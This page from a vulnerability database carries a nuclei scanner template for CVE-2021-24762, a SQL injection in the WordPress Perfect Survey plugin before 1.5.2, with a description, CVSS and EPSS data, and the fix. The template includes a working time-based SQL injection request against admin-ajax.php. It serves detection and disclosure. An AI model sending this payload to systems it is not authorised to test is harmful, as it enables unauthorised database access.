Lucene search
K

WordPress Perfect Survey <1.5.2 - SQL Injection

🗓️ 30 Jun 2026 04:56:11Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 133 Views

WordPress Perfect Survey <1.5.2 - SQL Injection allows unauthenticated users to perform SQL injection via the question_id parameter, leading to unauthorized database access. Update to version 1.5.2

Related
Refs
Code
id: CVE-2021-24762

info:
  name: WordPress Perfect Survey <1.5.2 - SQL Injection
  author: cckuailong
  severity: critical
  description: |
    Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
  remediation: |
    Update to the latest version of the WordPress Perfect Survey plugin (1.5.2) to mitigate the SQL Injection vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50766
    - https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-24762/vultarget
    - https://wpscan.com/vulnerability/c1620905-7c31-4e62-80f5-1d9635be11ad
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24762
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24762
    cwe-id: CWE-89
    epss-score: 0.86896
    epss-percentile: 0.99721
    cpe: cpe:2.3:a:getperfectsurvey:perfect_survey:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: getperfectsurvey
    product: perfect_survey
    framework: wordpress
  tags: time-based-sqli,cve2021,cve,wpscan,sqli,wp,wordpress,wp-plugin,edb,getperfectsurvey,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        GET /wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(7)))HQYx) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'

      - type: word
        part: header
        words:
          - "wp-ps-session"

      - type: status
        status:
          - 404
# digest: 4a0a00473045022100f56ed2178a040302b30e730c4d098c1cd9a59aad64efcce19803db99fb2397a502207867b4353186749508af89f56e32b6f45f04f129d79599e7876c7e76d945f995:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.5
CVSS 3.19.8
EPSS0.86896
133